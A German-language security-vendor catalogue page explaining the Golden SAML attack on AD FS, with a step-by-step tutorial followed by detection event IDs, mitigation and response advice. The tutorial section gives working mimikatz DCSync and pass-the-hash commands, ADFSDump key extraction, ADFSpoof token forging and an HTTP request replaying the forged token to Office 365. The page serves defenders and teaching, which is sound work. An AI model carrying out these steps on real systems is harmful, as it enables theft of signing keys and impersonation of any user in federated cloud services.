Golden SAML-Angriff

Glossar zur cybersicherheit Angriffskatalog

Golden SAML-Angriff

Golden SAML ist in seinem Konzept ähnlich wie die Golden Ticket -Technik. Der Unterschied besteht darin, dass anstatt des Active Directory-Geheimnisses, das Kerberos-Tickets signiert, das Geheimnis kompromittiert wird, das zur Signierung der von Active Directory Federation Services (AD FS) erstellten SAML-Zusicherungen verwendet wird, was häufig genutzt wird, um die Active Directory-Identität auf Cloud-Anwendungen auszuweiten.

Für einen Golden SAML-Angriff muss ein Angreifer zuerst das AD FS-Dienstkonto auf dem AD FS-Server kompromittieren. Nachdem sie sich als AD FS-Dienstkonto authentifiziert haben, können sie Werkzeuge wie ADFSDump verwenden, um die benötigten Informationen zu extrahieren:
• Das Token-Signaturzertifikat und seinen privaten Schlüssel
• Den Distributed Key Manager (DKM)-Schlüssel aus Active Directory
• Die Liste der Dienste, für die der AD FS-Server konfiguriert ist, um ein Identitätsanbieter zu sein

Bedrohungszusammenfassung

Ziel: AD FS und zugehörige Dienste

Tools: AAD Internals, ADFSDump, shimit, ADFSpoof, mimikatz

ATT&CK® Taktik: Credential Access

ATT&CK-Technik: Fälschung von Web-Anmeldeinformationen: SAML-Tokens

Schwierigkeit

Erkennung: Hart

Milderung: Mittel

Antwort: Hard

Angriffs-Tutorial: Wie der Golden SAML-Angriff funktioniert

SCHRITT 1: Kompromittieren Sie den AD FS-Dienst

Ein Angreifer kann verschiedene Methoden verwenden, um den AD FS-Dienst zu kompromittieren. Im Allgemeinen reicht jedes Mittel, um administrativen Zugang zum AD FS-Server zu erlangen. Das folgende Beispiel verwendet einige Techniken: LDAP-Reconnaissance, um AD FS zu entdecken, DCSync, um die Hashes des Dienstkontos zu exportieren, und dann Pass the Hash (PtH), um eine Sitzung auf dem AD FS-Server als das Dienstkonto zu erhalten.

Code

      # LDAP reconnaissance for AD FS / AADC Items

## ADFS Uses a Host SPN on the service account for the ADFS Service Portal. If the portal is known (ADFS/STS/FS etc.) it can be discovered

Get-ADObject -filter { ServicePrincipalName -contains “*adfs*” -or ServicePrincipalName -contains “*STS*” -or ServicePrincipalName -contains “*FS*” }

## ADFS User/Service/computer Accounts

Get-ADObject -filter { samaccountname -like “*adfs*” -or description -like “*adfs*” -or description -like “*aadc*” }

# Found GMSA Account named adfssvc$

.\mimikatz.exe “lsadump::dcsync /user:adfssvc$”

# Execute PtH

.\mimikatz.exe “privilege::debug” “sekurlsa::pth /user:aadcsvc$ /domain:domain.local /ntlm:f0f13a15b218cb98d1ada6484e380fe6 /aes256:f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909 /aes128:569afe31a386f460e69e7915895837f8”

Ausgabe

      # Command 1 #

DistinguishedNameNameObjectClass ObjectGUID

-------------------------------- ----------

CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9-8f80-9c9a37006c9b

CN=MSOL_81f4a7929078,CN=Users,DC=domain,DC=local MSOL_81f4a7929078 user38348edf-8a4a-400e-83b4-eb88a57b78a7

# Command 2 #

DistinguishedNameNameObjectClassObjectGUID

------------------------------------------

CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9…

CN=aadcsvc,CN=Managed Service Accounts,DC=domain,DC=local aadcsvc msDS-GroupManagedServiceAccount f1709f9d-e137-4185.

# Command 3 #

mimikatz(commandline) # lsadump::dcsync /user:domain\da

[DC] 'domain.local' will be the domain

[DC] 'DC.domain.local' will be the DC server

[DC] 'aadcsvc$ ' will be the user account

[rpc] Service: ldap

[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN: DA

--- Output truncated ---

Credentials:

Hash NTLM: f0f13a15b218cb98d1ada6484e380fe6

--- Output truncated ---

* Primary:Kerberos-Newer-Keys *

Default Salt : DOMAIN.LOCALDA

Default Iterations : 4096

Credentials

aes256_hmac(4096) : f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909

aes128_hmac(4096) : 569afe31a386f460e69e7915895837f8

# Command 4 #

# New Window Opens for PTH #

SCHRITT 2: Extrahieren Sie die erforderlichen Informationen

Nachdem die Authentifizierung als AD FS-Dienstkonto erfolgt ist, muss der Angreifer nun auf die Informationen zugreifen und diese exportieren, die benötigt werden, um das SAML-Token zu fälschen.

In diesem Beispiel werden wir das Utility ADFSDump verwenden, das sich lokal mit der AD FS-Datenbank verbindet, um das EncryptedPFX-Element der Token Signing Service-Einstellungen zu extrahieren, und es stellt auch eine Verbindung zum Active Directory her, um den DKM-Schlüssel zu exportieren. Sie müssen die Ausgabe wie folgt in Textdateien kopieren:

DKMKey.txt wird den DKM-Schlüssel enthalten.
TKSKey.txt wird den Token Signing-Schlüssel enthalten.

Code

      ADFSDump.exe

Ausgabe

      _______ ___________ ____

/| / __ \/ ____/ ___// __ \__ ______ ___ ____

/ /| | / / / / /_\__ \/ / / / / / / __ `__ \/ __ \

/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /

/_/ |_/_____/_//____/_____/\__,_/_/ /_/ /_/ .___/

/_/

Created by @doughsec

## Extracting Private Key from Active Directory Store

[-] Domain is domain.local

[-] Private Key: 05-77-08-31-87-5E-A4-24-6E-C7-EE-48-64-6F-47-23-EB-D6-56-71-DD-3C-42-D0-DE-6B-58-13-16-DF-CB-57

## Reading Encrypted Signing Key from Database

[-] Encrypted Token Signing Key Begin

AAAAAQAAAAAEEN71Kh/hvD9Jk

--- output truncated---

DeMPt0Myf9vtUZow==

[-] Encrypted Token Signing Key End

## Reading The Issuer Identifier

[-] Issuer Identifier: http://sts.stealthbitslab.com/adfs/services/trust

[-] Detected AD FS 2019

[-] Uncharted territory! This might not work...

## Reading Relying Party Trust Information from Database

[-]

Microsoft Office 365 Identity Platform Worldwide

==================

Enabled: True

Sign-In Protocol: WsFed-SAML (SAML 1.1)

Sign-In Endpoint: https://login.microsoftonline.com/login.srf

Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256

SamlResponseSignatureType: 1;

Identifier: urn:federation:MicrosoftOnline

Access Policy:

Access Policy Parameter:

Issuance Rules: @RuleName = "Issue UPN"

c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"]

=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/claims/UPN"), query = "samAccountName={0};userPrincipalName;{1}", param = regexreplace(c.Value, "(?<domain>[^\\]+)\\(?<user>.+)", "${user}"), param = c.Value);

--- Output Truncated ---

SCHRITT 3: Konvertieren Sie die abgerufenen Informationen

Als Nächstes muss der Angreifer die Informationen in ein Format umwandeln, das die Tools verwenden können:

TKSKey.txt muss Base64-dekodiert werden.
DKMKey.txt muss in hexadezimale Werte umgewandelt werden.

Um dies zu erreichen, können sie Werkzeuge wie HexEdit verwenden oder den folgenden Code im Terminalmodus auf einem Linux-Rechner ausführen:

      # Convert TKSKey.txt to TKSKey.bin

cat TKSKey.txt | base64 -d > TKSKey.bin

# Convert DKMKey.txt to DKMKey.bin

# tr -d "-" -> Deletes all -'s

# xxd -r -p -> Read Hexdump

cat DKMkey.txt | tr -d "-" | xxd -r -p > DKMkey.bin

SCHRITT 4: Erstellen Sie das Golden SAML-Token

Der Angreifer hat nun alle notwendigen Details, um das SAML-Token zu fälschen. In diesem Beispiel wird das Tool ADFSpoof verwendet, um ein Golden SAML-Token für den Benutzer ADA_Fox@stealthbitslab.com zu erstellen.

Code

      Python3.6 ADFSSpoof.py -b TKSKey.bin PKey.bin --server stealthbitslab.com o365 --upn ADA_FOX@stealthbitslab.com --objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}

Ausgabe

      _______ _______________

/| / __ \/ ____/ ___/____ ____ ____ / __/

/ /| | / / / / /_\__ \/ __ \/ __ \/ __ \/ /_

/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/

/_/ |_/_____/_//____/ .___/\____/\____/_/

/_/

A tool to for AD FS security tokens

Created by @doughsec

%3Ct%3ARequestSecurityTokenResponse%20xmlns%3At%3D%22http%3A//schemas.xmlsoap.org/

--- output truncated ---

t%3AKeyType%3E%3C/t%3ARequestSecurityTokenResponse%3E

SCHRITT 5: Verwenden Sie das Golden SAML-Token, um auf Office 365 zuzugreifen

Der Angreifer muss nun lediglich das gefälschte SAML-Token verwenden, um sich als ADA_FOX bei Office 365 anzumelden. Dies kann mit Tools wie dem Burp Suite Repeater erfolgen, um Webanfragen zu wiederholen: Verwenden Sie einfach die Ausgabe von Schritt 4 und die untenstehenden Webanfrageinformationen, um die Anfrage zu wiederholen. und dann die Funktion „Anfrage im Browser“ nutzen, um diese Anfrage im Browser durchzuführen. Ist das erledigt, wird der Angreifer aufgefordert, zur Anmeldeseite weiterzugehen.

Code

      POST /login.srf HTTP/1.1

Host: login.microsoftonline.com

Connection: close

Content-Length: 7962

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

DNT: 1

wa=wsignin1.0&wresult={STEP 4 OUTPUT}

Erkennen, Minderung und Reaktion

Erkennen

Schwierigkeit: Schwer

Es ist möglich, Anzeichen einer Golden SAML-Ausnutzung an zwei Stellen zu erkennen:

Wenn der Gegner die Signaturgeheimnisse kompromittiert (Schritt 2)
Wenn der Gegner ein gefälschtes Token verwendet (Schritt 5)

Erkennung bei Secret Compromise

Wie oben detailliert beschrieben, muss ein Angreifer, bevor er ein SAML-Token fälschen kann, den AD FS-Dienst kompromittieren und das AD FS-Signaturzertifikat sowie dessen privaten Schlüssel exportieren. Verteidiger sollten auf ungewöhnliche Anmeldungen am AD FS-Server sowie auf ungewöhnliche Authentifizierungsquellen vom AD FS-Dienstkonto selbst achten. Darüber hinaus sollten die folgenden Ereignisse auf Zertifikatsexporte am AD FS-Server überwacht werden:

70	Ereignisprotokoll	System	Information
70	Microsoft-Windows-CAPI2/Operational	AD FS-Server	Versuch des privaten Schlüsselexports (mimikatz)
1007	Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational	AD FS-Server	Allgemeiner Zertifikatsexport; keine Informationen darüber, ob der private Schlüssel exportiert wurde
4662	Sicherheit	Domänencontroller	DKM-Schlüsselaufklärung; Wenn ObjectName wie CN=CryptoPolicy,CN=ADFS,CN=Microsoft,CN=Program Data,DC=YourDomain,DC=local ist und Eigenschaften thumbnailPhoto {8d3bca50-1d7e-11d0-a081-00aa006c33ed} enthalten
18	Microsoft-Windows-Sysmon/Operational	AD FS-Server	Named Pipe-Verbindung zur WID-Datenbank nicht vom ADFS-Programm. Erfordert, dass Sysmon korrekt installiert und konfiguriert ist.

Erkennung bei Verwendung eines gefälschten Tokens

Um die Verwendung eines möglicherweise gefälschten SAML-Tokens zu erkennen, ist ein zentrales Protokoll aller Authentifizierungsereignisse von AD FS und verbundenen Dienstanbietern erforderlich. Diese Daten können dann korreliert werden, um zu bestimmen, ob jede Authentifizierung an einer Anwendung tatsächlich durch den AD FS-Dienst erstellt wurde. Wenn ein gefälschtes SAML-Token verwendet wird, gibt es kein Ereignis auf dem AD FS-Server, das mit den Anmeldeprotokollen des Dienstanbieters verknüpft werden kann.

AD FS-Ereignisse werden unter Verwendung der Korrelations-ID (auch als Aktivitäts-ID bekannt) zwischen Ereignissen mit den Dienstanbietern korreliert. Hier ist ein Beispiel für eine legitime Anmeldung, bei der der Dienstanbieter eine Korrelations-ID von 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce hat und es ein entsprechendes Ereignis für AD FS gibt, das dieselbe Korrelations-ID aufweist.

Anmeldung beim Dienstanbieter

AD FS App Token Audit

Der Federation Service hat ein gültiges Token ausgestellt. Siehe XML für Details.

      Activity ID: 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce

Additional Data

XML: <?xml version="1.0" encoding="utf-16"?>

<AuditBase xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="AppTokenAudit">

<AuditType>AppToken</AuditType>

<AuditResult>Success</AuditResult>

<FailureType>None</FailureType>

<ErrorCode>N/A</ErrorCode>

<ContextComponents>

<Component xsi:type="ResourceAuditComponent">

<RelyingParty>urn:federation:MicrosoftOnline</RelyingParty>

<ClaimsProvider>AD AUTHORITY</ClaimsProvider>

<UserId>DOMAIN\ADA_FOX</UserId>

</Component>

<Component xsi:type="AuthNAuditComponent">

<PrimaryAuth>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</PrimaryAuth>

<DeviceAuth>false</DeviceAuth>

<DeviceId>N/A</DeviceId>

<MfaPerformed>false</MfaPerformed>

<MfaMethod>N/A</MfaMethod>

<TokenBindingProvidedId>false</TokenBindingProvidedId>

<TokenBindingReferredId>false</TokenBindingReferredId>

<SsoBindingValidationLevel>TokenUnbound</SsoBindingValidationLevel>

</Component>

<Component xsi:type="ProtocolAuditComponent">

<OAuthClientId>N/A</OAuthClientId>

<OAuthGrant>N/A</OAuthGrant>

</Component>

<Component xsi:type="RequestAuditComponent">

<Server>http://sts.stealthbitslab.com/adfs/services/trust</Server>

<AuthProtocol>WSFederation</AuthProtocol>

<NetworkLocation>Intranet</NetworkLocation>

<IpAddress>10.0.0.55</IpAddress>

<ForwardedIpAddress />

<ProxyIpAddress>N/A</ProxyIpAddress>

<NetworkIpAddress>N/A</NetworkIpAddress>

<ProxyServer>N/A</ProxyServer>

<UserAgentString>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36</UserAgentString>

<Endpoint>/adfs/ls/</Endpoint>

</Component>

</ContextComponents>

</AuditBase>

Mildern

Schwierigkeitsgrad: Mittel

Der Schutz von AD FS-Servern und Dienstkonten ist von größter Bedeutung, um Golden SAML-Angriffe zu mildern. Zwei bewährte Methoden sind besonders nützlich:

Erlauben Sie Benutzern nicht, administrative Privilegien über Grenzen hinweg zu haben.
Behandeln Sie AD FS-Server mit dem gleichen Sicherheitsniveau wie Domänencontroller

Antworten

Schwierigkeitsgrad: Schwer

Wenn ein Golden SAML-Token erkannt wird, sollte von einem vollständigen Identitätsdiebstahl ausgegangen werden. Mindestens sind mehrere manuelle Schritte erforderlich, wie das Rotieren des Token-Signaturzertifikats und die Untersuchung des Ausmaßes des Kompromisses.

Aktivieren Sie den Incident-Response-Prozess und alarmieren Sie das Reaktionsteam.

Teilen auf

Zugehörige Cybersecurity-Angriffe anzeigen

Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien

AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien

AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien

Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien

DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security

Pass-the-Hash-Angriff

Verständnis von Golden Ticket-Angriffen

Angriffe auf Group Managed Service Accounts

DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien

ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen

NTDS.dit-Passwortextraktionsangriff

Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien

Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien

Password-Spraying-Angriff

Angriff zur Extraktion von Klartext-Passwörtern

Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung

Ransomware-Angriffe auf Active Directory

Active Directory mit dem Skeleton Key-Angriff entsperren

Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen

Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert

Warum ist PowerShell so beliebt bei Angreifern?

4 Angriffe auf Dienstkonten und wie man sich dagegen schützt

Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen

Was ist Credential Stuffing?

Kompromittierung von SQL Server mit PowerUpSQL

Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen

Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)

Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt

Ein umfassender Blick auf Passwortangriffe und wie man sie stoppt

LDAP-Aufklärung

Umgehen der MFA mit dem Pass-the-Cookie-Angriff

Silver Ticket Attack